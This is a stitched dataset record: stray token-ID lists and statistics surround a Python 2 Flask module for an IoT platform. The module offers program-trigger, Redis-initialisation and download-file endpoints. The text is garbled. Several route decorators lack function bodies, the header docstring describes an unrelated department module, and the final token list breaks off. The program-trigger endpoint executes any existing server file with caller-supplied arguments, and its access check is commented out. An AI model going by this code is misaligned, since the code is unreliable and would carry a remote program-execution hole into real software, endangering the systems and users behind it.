318,
11191,
416,
1660,
290,
318,
7042,
416,
14320,
15909,
8604,
36774,
393,
31677,
13,
921,
743,
7048,
477,
1440,
13015,
286,
262,
10706,
389,
477,
11191,
416,
1660,
13,
198,
198,
16281,
352,
25,
198,
198,
20560,
25,
198,
1157,
11442,
198,
1157,
20943,
198,
1157,
830,
198,
20483,
198,
198,
26410,
25,
352,
198,
16281,
362,
25,
198,
198,
20560,
25,
198,
1157,
830,
198,
1157,
830,
198,
405,
3064,
198,
18005,
16,
198,
198,
26410,
25,
513,
198,
7061,
6,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
198
] | 2.890511 | 137 |
# -*- coding: utf-8 -*-
#Department Module Description
"""
==============================================================================
created : 03/20/2017
Last update: 02/08/2021
Developer: Wei-Chun Chang
Lite Version 2 @Yishan08212019
API version 1.0
Filename: customizedHandle.py
Description: basically, all writes to the module will be opened to superuser only, for others, can only query data
1. register a department
2. query Department basic info.
3. query Department members
4. query Department sensors
Total = 6 APIs
==============================================================================
"""
#=======================================================
# System level modules
#=======================================================
#{{{
from sqlalchemy import *
from werkzeug.security import gen_salt
import subprocess #Yishan 05212020 subprocess 取代 os.popen
# import threading
#}}}
#=======================================================
# User level modules
#=======================================================
#{{{
from app import *
#Yishan@05212020 added for common modules
from app.modules import *
#}}}
__all__ = ('trigger_specific_program','iot_redis_device_keys_init')
ACCESS_SYSTEM_LIST = ["IOT"]
# # 建立 thread lock
# lock = threading.Lock()
#blueprint
CUSTOMIZED_API = Blueprint('CUSTOMIZED_API', __name__)
#{{{ def _list_iter(name)
def _list_iter(r,name):
"""
自定义redis列表增量迭代
:param name: redis中的name,即:迭代name对应的列表
:return: yield 返回 列表元素
"""
list_count = r.llen(name)
for index in range(list_count):
yield r.lindex(name, index)
#}}}
#=======================================================
# subprocess_check_output_program
# Date: 12142020@Yishan
# https://www.coder.work/article/3210794
# https://stackoverflow.com/questions/31683320/suppress-stderr-within-subprocess-check-output
#=======================================================
# {{{ def subprocess_check_output_program(cmd)
# }}}
#=======================================================
# 列出/var/www/html/download/files內所有檔案
# Date: 12142020@Yishan
#=======================================================
# {{{ CUSTOMIZED_API.route('/api/PaaS/1.0/Customized/Show/DownloadFiles', methods = ['POST']),
@CUSTOMIZED_API.route('/api/PaaS/1.0/Customized/Show/DownloadFiles', methods = ['GET'])
# }}}
#=======================================================
# 提供使用者生成下載檔案列表之id & pwd (gen_salt)
# Date: 12142020@Yishan
#=======================================================
# {{{ CUSTOMIZED_API.route('/api/PaaS/1.0/Customized/Create/DownloadFiles/IdPwd', methods = ['POST']),
@CUSTOMIZED_API.route('/api/PaaS/1.0/Customized/Create/DownloadFiles/IdPwd', methods = ['POST'])
@decorator_check_content_type(request)
#}}}
#=======================================================
# 檢驗欲使用下載檔案功能之id & pwd合法性
# Date: 12142020@Yishan
#=======================================================
# {{{ CUSTOMIZED_API.route('/api/PaaS/1.0/Customized/Check/DownloadFiles/IdPwd', methods = ['POST']),
@CUSTOMIZED_API.route('/api/PaaS/1.0/Customized/Check/DownloadFiles/IdPwd', methods = ['POST'])
@decorator_check_content_type(request)
#}}}
#=======================================================
# 檢驗欲使用下載檔案的有效期限若超過則刪除
# Date: 12142020@Yishan
#=======================================================
# {{{ CUSTOMIZED_API.route('/api/PaaS/1.0/Customized/Check/Delete/DownloadFiles/Deadline/<CRONTAB>', methods = ['GET']),
@CUSTOMIZED_API.route('/api/PaaS/1.0/Customized/Check/Delete/DownloadFiles/Deadline/<CRONTAB>', methods = ['GET'])
#}}}
#=======================================================
# 提供api觸發指定程式
# Date: 12142020@Yishan
#=======================================================
# {{{ CUSTOMIZED_API.route('/api/<SYSTEM>/1.0/Customized/Trigger/Specific/Program', methods = ['GET']),
@CUSTOMIZED_API.route('/api/<SYSTEM>/1.0/Customized/Trigger/Specific/Program', methods = ['POST'])
@docstring_parameter(ACCESS_SYSTEM_LIST=ACCESS_SYSTEM_LIST)
def trigger_specific_program(SYSTEM,selfUse=False,useThread=False,languages=None,programName=None,programData=None,Temp=False):
#{{{APIINFO
'''
{
"API_application":"提供觸發指定程式",
"API_parameters":{"uid":"使用者帳號"},
"API_path_parameters":{"SYSTEM":"合法的系統名稱"},
"API_postData":{
"bodytype":"Object",
"bodyschema":"{}",
"parameters":{
"languages":{"type":"String","requirement":"required","directions":"欲觸發的程式語言類型","example":"php"},
"programName":{"type":"String","requirement":"required","directions":"欲觸發的程式路徑加檔名","example":"/var/www/html/test.php"},
"programData":{"type":"Unlimited","requirement":"optional","directions":"欲丟入觸發程式的參數資料","example":"test"}
},
"precautions":{
"注意事項1":"languages目前只接受php語言",
"注意事項2":"programName程式路徑必須存在"
},
"example":[
{
"languages":"php",
"programName":"test.php",
"programData":"123"
}
]
},
"API_message_parameters":{"GetProgramResponse":"Unlimited+取得觸發程式回傳的值"},
"API_example":{
"Response": "ok",
"APIS": "POST /api/IOT/1.0/Customized/Trigger/Specific/Program",
"OperationTime": "3.020",
"BytesTransferred": 223,
"System": "IOT",
"GetProgramResponse": "test"
}
}
'''
#}}}
err_msg = "error"
languages_config = {
"php":"/usr/bin/php",
"c":""
}
if not selfUse:
dicRet = appPaaS.preProcessRequest(request,system=SYSTEM)
# if SYSTEM not in list(set(globalvar.SYSTEMLIST[globalvar.SERVERIP]).intersection(set(ACCESS_SYSTEM_LIST))):
# dicRet["Response"] = "system:{} has no privillege to use this API".format(SYSTEM)
# return jsonify( **dicRet)
uri_parameter = ["uid"]
result, result_msg = check_uri_parameter_exist(request,uri_parameter)
if not result:
dicRet["Response"] = result_msg
return jsonify( **dicRet)
if not VerifyDataStrLawyer(request.data).verify_json():
dicRet["Response"] = "error input '{}' is illegal JSON".format(request.data)
return jsonify( **dicRet)
reqdataDict = json.loads(request.data)
if isinstance(reqdataDict,type(u"")):
reqdataDict = json.loads(reqdataDict)
post_parameter = ["languages","programName","programData"]
if not check_post_parameter_exist(reqdataDict,post_parameter):
dicRet["Response"] = "Missing post parameters : '{}'".format(post_parameter)
return jsonify( **dicRet)
languages = reqdataDict.get("languages")
programName = reqdataDict.get("programName")
programData = reqdataDict.get("programData")
# print "~~~~languages~~~~"
# print languages
if languages not in languages_config.keys():
dicRet["Response"] = "Currently only php and C programs can be executed"
return jsonify( **dicRet)
# print "~~~~programName~~~~"
# print programName
# print "~~~~programData~~~~"
# print programData
# print type(programData)
if isinstance(programData,dict): programData = json.dumps(programData)
# print "~~~~programData~~~~"
# print programData
if not os.path.isfile(programName):
dicRet["Response"] = "{} 檔案不存在或路徑有誤".format(programName)
return jsonify( **dicRet)
cmd = [languages_config[languages],programName]
if programData: cmd.append(programData)
# cmd = "{}{}".format(languages_config[languages],programName)
# if programData: cmd+=" '{}'".format(programData)
# print "~~~cmd~~~"
# print cmd
try:
if useThread:
# print "~~~~~trigger start~~~~~~"
# print datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[::]
if Temp:
from celeryApp.celeryTasks import celery_trigger_specific_program
celery_trigger_specific_program.apply_async(args=(cmd,SYSTEM), routing_key='high', queue="H-queue1")
else:
worker = TriggerProgramWorkerThread(os.getpid(), lock, subprocess_check_output_program, cmd, SYSTEM)
worker.start()
# print "~~~~~trigger over~~~~~~"
# print datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[::]
err_msg = "ok"
return
else:
if languages == "c": cmd.pop(0)
# print "!!!!!!!!!!!!!!!!!"
dicRet["StartProgramTime"] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
process = subprocess_check_output_program(ConvertData().convert(cmd),SYSTEM)
# print "~~~~process~~~~"
# print process
# print "~~~~type process~~~~"
# print type(process)
dicRet["EndProgramTime"] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
# print "!!!!!!!!!!!!!!!!!"
if process[0]:
dicRet["GetProgramResponse"] = {"output":process[1],"returncode":0}
err_msg = "ok"
else:
# print process[2]
del process[2]["cmd"]
dicRet["GetProgramResponse"] = process[2]
err_msg = "error"
except Exception as e:
print "~~~Exception~~~"
print datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[::]
print e
print sys.exc_info()
finally:
if not selfUse:
# dicRet["THISTIME"] = datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[::]
dicRet["Response"] = err_msg
return jsonify(**dicRet)
#}}}
#=======================================================
# Definition: For IoT 初始化IoT所需的redis mes_device_status keys(hash) from mysql table:
# Date: 12292020@Yishan
#=======================================================
# {{{def iot_redis_device_keys_init(SYSTEM)
@CUSTOMIZED_API.route('/api/<SYSTEM>/1.0/Customized/Init/Redis/Device/Keys', methods = ['GET'])
@docstring_parameter(ACCESS_SYSTEM_LIST=ACCESS_SYSTEM_LIST)
def iot_redis_device_keys_init(SYSTEM, selfUse=False):
"""
For IoT 初始化IoT所需的redis device keys(hash)
Args:
SYSTEM: 使用之系統名稱
Returns:
no return
"""
if not selfUse:
dicRet = appPaaS.preProcessRequest(request,system=SYSTEM)
uri_parameter = ["uid"]
result, result_msg = check_uri_parameter_exist(request,uri_parameter)
if not result:
dicRet["Response"] = result_msg
return jsonify( **dicRet)
all_device = {}
err_msg = "error"
try:
DbSession,metadata,engine= appPaaS.getDbSessionType(system=SYSTEM)
if DbSession is None:
return
sess = DbSession()
queryTable = Table("preload" , metadata, autoload=True)
for row in sess.query(queryTable).all():
drow = AdjustDataFormat().format(row._asdict())
all_device[drow["main_key"]+"_"+drow["combine_key"]] = json.loads(drow["combine_list"])
err_msg = "ok" #done successfully
# http://stackoverflow.com/questions/4112337/regular-expressions-in-sqlalchemy-queries
except Exception as e:
err_msg = appPaaS.catch_exception(e,sys.exc_info(),SYSTEM)
finally:
if 'DbSession' in locals().keys() and DbSession is not None:
sess.close()
DbSession.remove()
engine.dispose()
if err_msg != "ok":
if selfUse: return
if not selfUse:
dicRet["Response"] = err_msg
return jsonify( **dicRet)
err_msg = "error"
try:
redis_db = globalvar.SYSTEMLIST[globalvar.SERVERIP].index(SYSTEM)
dbRedis,_,_ = appPaaS.getDbSessionType(system=SYSTEM,dbName=redis_db,forRawData="redis")
if dbRedis is None:
return
for key,value in all_device.items():
#若key不存在,直接建立
if not dbRedis.exists(key):
dbRedis.hmset(key, value)
#若存在,比較value物件的key,抓取不重複的建立
else:
#差集(舊的多的key,需刪除)
fields_need_del = list(set(dbRedis.hkeys(key)).difference(value.keys()))
if fields_need_del: dbRedis.hdel(key, *fields_need_del)
#差集(新的多的key,需新增)
fields_need_add = list(set(value.keys()).difference(dbRedis.hkeys(key)))
if fields_need_add:
for value_key,value_value in value.items():
if value_key in fields_need_add:
dbRedis.hset(key, value_key, value_value)
#檢查mes_device_status_* keys是否需刪除(多的需刪除)
keys_need_del = list(set(dbRedis.keys("mes_device_status_*")).difference(all_device.keys()))
if keys_need_del: dbRedis.delete(*keys_need_del)
err_msg = "ok"
except Exception as e:
err_msg = appPaaS.catch_exception(e, sys.exc_info(), SYSTEM)
finally:
if not selfUse:
dicRet["Response"] = err_msg
return jsonify( **dicRet)
#}}} | [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
2,
36261,
19937,
12489,
198,
37811,
198,
23926,
25609,
855,
198,
25598,
220,
220,
220,
1058,
7643,
14,
1238,
14,
5539,
198,
5956,
4296,
25,
7816,
14,
2919,
14,
1238,
2481,
198,
45351,
25,
29341,
12,
1925,
403,
22597,
220,
198,
43,
578,
10628,
362,
2488,
56,
680,
272,
2919,
21777,
30484,
198,
17614,
2196,
352,
13,
15,
198,
220,
198,
35063,
25,
27658,
37508,
13,
9078,
198,
198,
11828,
25,
6209,
11,
477,
6797,
284,
262,
8265,
481,
307,
4721,
284,
2208,
7220,
691,
11,
329,
1854,
11,
460,
691,
12405,
1366,
198,
220,
220,
220,
352,
13,
7881,
257,
5011,
198,
220,
220,
220,
362,
13,
12405,
2732,
4096,
7508,
13,
198,
220,
220,
220,
513,
13,
12405,
2732,
1866,
198,
220,
220,
220,
604,
13,
12405,
2732,
15736,
198,
14957,
796,
718,
23113,
198,
23926,
25609,
855,
198,
37811,
198,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
4482,
1241,
13103,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
27007,
90,
198,
6738,
44161,
282,
26599,
1330,
1635,
198,
6738,
266,
9587,
2736,
1018,
13,
12961,
1330,
2429,
62,
82,
2501,
198,
11748,
850,
14681,
1303,
56,
680,
272,
657,
4309,
10232,
1238,
850,
14681,
10263,
237,
244,
47987,
28686,
13,
79,
9654,
198,
2,
1330,
4704,
278,
198,
2,
42535,
198,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
11787,
1241,
13103,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
27007,
90,
198,
6738,
598,
1330,
1635,
198,
2,
56,
680,
272,
31,
37841,
10232,
1238,
2087,
329,
2219,
13103,
198,
6738,
598,
13,
18170,
1330,
1635,
198,
2,
42535,
198,
198,
834,
439,
834,
796,
19203,
46284,
62,
11423,
62,
23065,
41707,
5151,
62,
445,
271,
62,
25202,
62,
13083,
62,
15003,
11537,
198,
198,
26861,
7597,
62,
23060,
25361,
62,
45849,
796,
14631,
40,
2394,
8973,
198,
198,
2,
1303,
10263,
119,
118,
44165,
233,
4704,
5793,
198,
2,
5793,
796,
4704,
278,
13,
25392,
3419,
198,
198,
2,
17585,
4798,
198,
34,
7759,
2662,
14887,
1961,
62,
17614,
796,
39932,
10786,
34,
7759,
2662,
14887,
1961,
62,
17614,
3256,
11593,
3672,
834,
8,
198,
198,
2,
27007,
90,
825,
4808,
4868,
62,
2676,
7,
3672,
8,
198,
4299,
4808,
4868,
62,
2676,
7,
81,
11,
3672,
2599,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
5525,
229,
103,
22522,
248,
20046,
231,
445,
271,
26344,
245,
26193,
101,
161,
95,
252,
34932,
237,
32573,
255,
47987,
198,
220,
220,
220,
1058,
17143,
1438,
25,
2266,
271,
40792,
21410,
3672,
171,
120,
234,
39355,
111,
171,
120,
248,
32573,
255,
47987,
3672,
43380,
117,
41753,
242,
21410,
26344,
245,
26193,
101,
198,
220,
220,
220,
1058,
7783,
25,
7800,
5525,
123,
242,
32368,
252,
10263,
230,
245,
26193,
101,
17739,
225,
163,
112,
254,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
1351,
62,
9127,
796,
374,
13,
297,
268,
7,
3672,
8,
198,
220,
220,
220,
329,
6376,
287,
2837,
7,
4868,
62,
9127,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
7800,
374,
13,
75,
9630,
7,
3672,
11,
6376,
8,
198,
2,
42535,
198,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
850,
14681,
62,
9122,
62,
22915,
62,
23065,
198,
2,
7536,
25,
1105,
1415,
42334,
31,
56,
680,
272,
198,
2,
3740,
1378,
2503,
13,
66,
12342,
13,
1818,
14,
20205,
14,
2624,
940,
50242,
198,
2,
3740,
1378,
25558,
2502,
11125,
13,
785,
14,
6138,
507,
14,
18,
14656,
2091,
1238,
14,
18608,
601,
12,
301,
1082,
81,
12,
33479,
12,
7266,
14681,
12,
9122,
12,
22915,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
22935,
90,
825,
850,
14681,
62,
9122,
62,
22915,
62,
23065,
7,
28758,
8,
198,
2,
1782,
11709,
198,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
10263,
230,
245,
49035,
118,
14,
7785,
14,
2503,
14,
6494,
14,
15002,
14,
16624,
17739,
100,
33699,
222,
17312,
231,
162,
103,
242,
162,
94,
230,
198,
2,
7536,
25,
1105,
1415,
42334,
31,
56,
680,
272,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
22935,
90,
327,
7759,
2662,
14887,
1961,
62,
17614,
13,
38629,
10786,
14,
15042,
14,
47,
7252,
50,
14,
16,
13,
15,
14,
15022,
1143,
14,
15307,
14,
10002,
25876,
3256,
5050,
796,
37250,
32782,
20520,
828,
198,
31,
34,
7759,
2662,
14887,
1961,
62,
17614,
13,
38629,
10786,
14,
15042,
14,
47,
7252,
50,
14,
16,
13,
15,
14,
15022,
1143,
14,
15307,
14,
10002,
25876,
3256,
5050,
796,
37250,
18851,
6,
12962,
198,
2,
1782,
11709,
198,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
10545,
237,
238,
160,
122,
249,
45635,
18796,
101,
38519,
37955,
22755,
238,
10310,
233,
164,
120,
231,
162,
103,
242,
162,
94,
230,
26344,
245,
26193,
101,
45298,
312,
1222,
279,
16993,
357,
5235,
62,
82,
2501,
8,
198,
2,
7536,
25,
1105,
1415,
42334,
31,
56,
680,
272,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
22935,
90,
327,
7759,
2662,
14887,
1961,
62,
17614,
13,
38629,
10786,
14,
15042,
14,
47,
7252,
50,
14,
16,
13,
15,
14,
15022,
1143,
14,
16447,
14,
10002,
25876,
14,
7390,
47,
16993,
3256,
5050,
796,
37250,
32782,
20520,
828,
198,
31,
34,
7759,
2662,
14887,
1961,
62,
17614,
13,
38629,
10786,
14,
15042,
14,
47,
7252,
50,
14,
16,
13,
15,
14,
15022,
1143,
14,
16447,
14,
10002,
25876,
14,
7390,
47,
16993,
3256,
5050,
796,
37250,
32782,
6,
12962,
198,
31,
12501,
273,
1352,
62,
9122,
62,
11299,
62,
4906,
7,
25927,
8,
198,
2,
42535,
198,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
10545,
103,
95,
165,
102,
245,
162,
105,
110,
45635,
18796,
101,
10310,
233,
164,
120,
231,
162,
103,
242,
162,
94,
230,
27950,
253,
47797,
121,
45298,
312,
1222,
279,
16993,
28938,
230,
37345,
243,
45250,
100,
198,
2,
7536,
25,
1105,
1415,
42334,
31,
56,
680,
272,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
22935,
90,
327,
7759,
2662,
14887,
1961,
62,
17614,
13,
38629,
10786,
14,
15042,
14,
47,
7252,
50,
14,
16,
13,
15,
14,
15022,
1143,
14,
9787,
14,
10002,
25876,
14,
7390,
47,
16993,
3256,
5050,
796,
37250,
32782,
20520,
828,
198,
31,
34,
7759,
2662,
14887,
1961,
62,
17614,
13,
38629,
10786,
14,
15042,
14,
47,
7252,
50,
14,
16,
13,
15,
14,
15022,
1143,
14,
9787,
14,
10002,
25876,
14,
7390,
47,
16993,
3256,
5050,
796,
37250,
32782,
6,
12962,
198,
31,
12501,
273,
1352,
62,
9122,
62,
11299,
62,
4906,
7,
25927,
8,
198,
2,
42535,
198,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
10545,
103,
95,
165,
102,
245,
162,
105,
110,
45635,
18796,
101,
10310,
233,
164,
120,
231,
162,
103,
242,
162,
94,
230,
21410,
17312,
231,
46763,
230,
17312,
253,
165,
247,
238,
164,
233,
98,
164,
41678,
34402,
236,
30298,
229,
26344,
103,
165,
247,
97,
198,
2,
7536,
25,
1105,
1415,
42334,
31,
56,
680,
272,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
22935,
90,
327,
7759,
2662,
14887,
1961,
62,
17614,
13,
38629,
10786,
14,
15042,
14,
47,
7252,
50,
14,
16,
13,
15,
14,
15022,
1143,
14,
9787,
14,
38727,
14,
10002,
25876,
14,
20489,
1370,
14,
27,
9419,
1340,
5603,
33,
29,
3256,
5050,
796,
37250,
18851,
20520,
828,
198,
31,
34,
7759,
2662,
14887,
1961,
62,
17614,
13,
38629,
10786,
14,
15042,
14,
47,
7252,
50,
14,
16,
13,
15,
14,
15022,
1143,
14,
9787,
14,
38727,
14,
10002,
25876,
14,
20489,
1370,
14,
27,
9419,
1340,
5603,
33,
29,
3256,
5050,
796,
37250,
18851,
6,
12962,
198,
2,
42535,
198,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
10545,
237,
238,
160,
122,
249,
15042,
164,
100,
116,
163,
247,
120,
162,
234,
229,
22522,
248,
163,
101,
233,
28156,
237,
198,
2,
7536,
25,
1105,
1415,
42334,
31,
56,
680,
272,
198,
2,
10052,
4770,
1421,
18604,
198,
2,
22935,
90,
327,
7759,
2662,
14887,
1961,
62,
17614,
13,
38629,
10786,
14,
15042,
14,
27,
23060,
25361,
29,
14,
16,
13,
15,
14,
15022,
1143,
14,
48344,
14,
32419,
14,
15167,
3256,
5050,
796,
37250,
18851,
20520,
828,
198,
31,
34,
7759,
2662,
14887,
1961,
62,
17614,
13,
38629,
10786,
14,
15042,
14,
27,
23060,
25361,
29,
14,
16,
13,
15,
14,
15022,
1143,
14,
48344,
14,
32419,
14,
15167,
3256,
5050,
796,
37250,
32782,
6,
12962,
198,
31,
15390,
8841,
62,
17143,
2357,
7,
26861,
7597,
62,
23060,
25361,
62,
45849,
28,
26861,
7597,
62,
23060,
25361,
62,
45849,
8,
198,
4299,
7616,
62,
11423,
62,
23065,
7,
23060,
25361,
11,
944,
11041,
28,
25101,
11,
1904,
16818,
28,
25101,
11,
75,
33213,
28,
14202,
11,
23065,
5376,
28,
14202,
11,
23065,
6601,
28,
14202,
11,
30782,
28,
25101,
2599,
198,
220,
220,
220,
1303,
27007,
90,
17614,
10778,
198,
220,
220,
220,
705,
7061,
198,
220,
220,
220,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
366,
17614,
62,
31438,
2404,
162,
237,
238,
160,
122,
249,
164,
100,
116,
163,
247,
120,
162,
234,
229,
22522,
248,
163,
101,
233,
28156,
237,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
366,
17614,
62,
17143,
7307,
8351,
27112,
2404,
45635,
18796,
101,
38519,
30585,
111,
164,
247,
253,
25719,
198,
220,
220,
220,
220,
220,
220,
220,
366,
17614,
62,
6978,
62,
17143,
7307,
8351,
23060,
25361,
2404,
28938,
230,
37345,
243,
21410,
163,
111,
119,
163,
113,
109,
28938,
235,
163,
101,
109,
25719,
198,
220,
220,
220,
220,
220,
220,
220,
366,
17614,
62,
7353,
6601,
1298,
90,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
2618,
4906,
2404,
10267,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
65,
375,
893,
2395,
2611,
2404,
90,
92,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
17143,
7307,
1298,
90,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
75,
33213,
8351,
4906,
2404,
10100,
2430,
8897,
24615,
2404,
35827,
2430,
12942,
507,
2404,
162,
105,
110,
164,
100,
116,
163,
247,
120,
21410,
163,
101,
233,
28156,
237,
45739,
252,
164,
101,
222,
165,
94,
252,
161,
252,
233,
2430,
20688,
2404,
10121,
25719,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
23065,
5376,
8351,
4906,
2404,
10100,
2430,
8897,
24615,
2404,
35827,
2430,
12942,
507,
2404,
162,
105,
110,
164,
100,
116,
163,
247,
120,
21410,
163,
101,
233,
28156,
237,
164,
115,
107,
36181,
239,
27950,
254,
162,
103,
242,
28938,
235,
2430,
20688,
15473,
7785,
14,
2503,
14,
6494,
14,
9288,
13,
10121,
25719,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
23065,
6601,
8351,
4906,
2404,
3118,
10698,
2430,
8897,
24615,
2404,
25968,
2430,
12942,
507,
2404,
162,
105,
110,
10310,
253,
17739,
98,
164,
100,
116,
163,
247,
120,
163,
101,
233,
28156,
237,
21410,
20998,
225,
46763,
116,
164,
111,
229,
23877,
247,
2430,
20688,
2404,
9288,
20662,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
8964,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
3866,
66,
28766,
1298,
90,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
37345,
101,
35707,
237,
12859,
233,
165,
254,
227,
16,
2404,
75,
33213,
33566,
106,
30298,
235,
20998,
103,
162,
236,
98,
20998,
245,
10121,
45739,
252,
164,
101,
222,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
37345,
101,
35707,
237,
12859,
233,
165,
254,
227,
17,
2404,
23065,
5376,
163,
101,
233,
28156,
237,
164,
115,
107,
36181,
239,
33232,
227,
165,
254,
230,
27764,
246,
28839,
101,
1,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
8964,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
20688,
20598,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
75,
33213,
2404,
10121,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
23065,
5376,
2404,
9288,
13,
10121,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
23065,
6601,
2404,
10163,
1,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1782,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2361,
198,
220,
220,
220,
220,
220,
220,
220,
8964,
198,
220,
220,
220,
220,
220,
220,
220,
366,
17614,
62,
20500,
62,
17143,
7307,
8351,
3855,
15167,
31077,
2404,
3118,
10698,
10,
20998,
244,
36181,
245,
164,
100,
116,
163,
247,
120,
163,
101,
233,
28156,
237,
32368,
252,
43636,
111,
21410,
161,
222,
120,
25719,
198,
220,
220,
220,
220,
220,
220,
220,
366,
17614,
62,
20688,
1298,
90,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
31077,
1298,
366,
482,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
2969,
1797,
1298,
366,
32782,
1220,
15042,
14,
40,
2394,
14,
16,
13,
15,
14,
15022,
1143,
14,
48344,
14,
32419,
14,
15167,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
32180,
7575,
1298,
366,
18,
13,
33618,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
45992,
8291,
18186,
1298,
30299,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
11964,
1298,
366,
40,
2394,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
3855,
15167,
31077,
1298,
366,
9288,
1,
198,
220,
220,
220,
220,
220,
220,
220,
1782,
198,
220,
220,
220,
1782,
198,
220,
220,
220,
705,
7061,
198,
220,
220,
220,
1303,
42535,
198,
220,
220,
220,
11454,
62,
19662,
796,
366,
18224,
1,
628,
220,
220,
220,
8950,
62,
11250,
796,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
366,
10121,
15473,
14629,
14,
8800,
14,
10121,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
366,
66,
2404,
1,
198,
220,
220,
220,
1782,
198,
220,
220,
220,
611,
407,
2116,
11041,
25,
198,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
796,
598,
47,
7252,
50,
13,
3866,
18709,
18453,
7,
25927,
11,
10057,
28,
23060,
25361,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
611,
36230,
407,
287,
1351,
7,
2617,
7,
20541,
7785,
13,
23060,
25361,
45849,
58,
20541,
7785,
13,
35009,
5959,
4061,
35944,
3849,
5458,
7,
2617,
7,
26861,
7597,
62,
23060,
25361,
62,
45849,
4008,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
220,
220,
220,
220,
288,
291,
9781,
14692,
31077,
8973,
796,
366,
10057,
29164,
92,
468,
645,
1953,
346,
2765,
284,
779,
428,
7824,
1911,
18982,
7,
23060,
25361,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
220,
220,
220,
220,
1441,
33918,
1958,
7,
12429,
67,
291,
9781,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
2956,
72,
62,
17143,
2357,
796,
14631,
27112,
8973,
198,
220,
220,
220,
220,
220,
220,
220,
1255,
11,
1255,
62,
19662,
796,
2198,
62,
9900,
62,
17143,
2357,
62,
38476,
7,
25927,
11,
9900,
62,
17143,
2357,
8,
198,
220,
220,
220,
220,
220,
220,
220,
611,
407,
1255,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
14692,
31077,
8973,
796,
1255,
62,
19662,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
33918,
1958,
7,
12429,
67,
291,
9781,
8,
628,
220,
220,
220,
220,
220,
220,
220,
611,
407,
49899,
6601,
13290,
16966,
9860,
7,
25927,
13,
7890,
737,
332,
1958,
62,
17752,
33529,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
291,
9781,
14692,
31077,
8973,
796,
366,
18224,
5128,
705,
90,
92,
6,
318,
5293,
19449,
1911,
18982,
7,
25927,
13,
7890,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
33918,
1958,
7,
12429,
67,
291,
9781,
8,
628,
220,
220,
220,
220,
220,
220,
220,
43089,
7890,
35,
713,
796,
33918,
13,
46030,
7,
25927,
13,
7890,
8,
198,
220,
220,
220,
220,
220,
220,
220,
611,
318,
39098,
7,
42180,
7890,
35,
713,
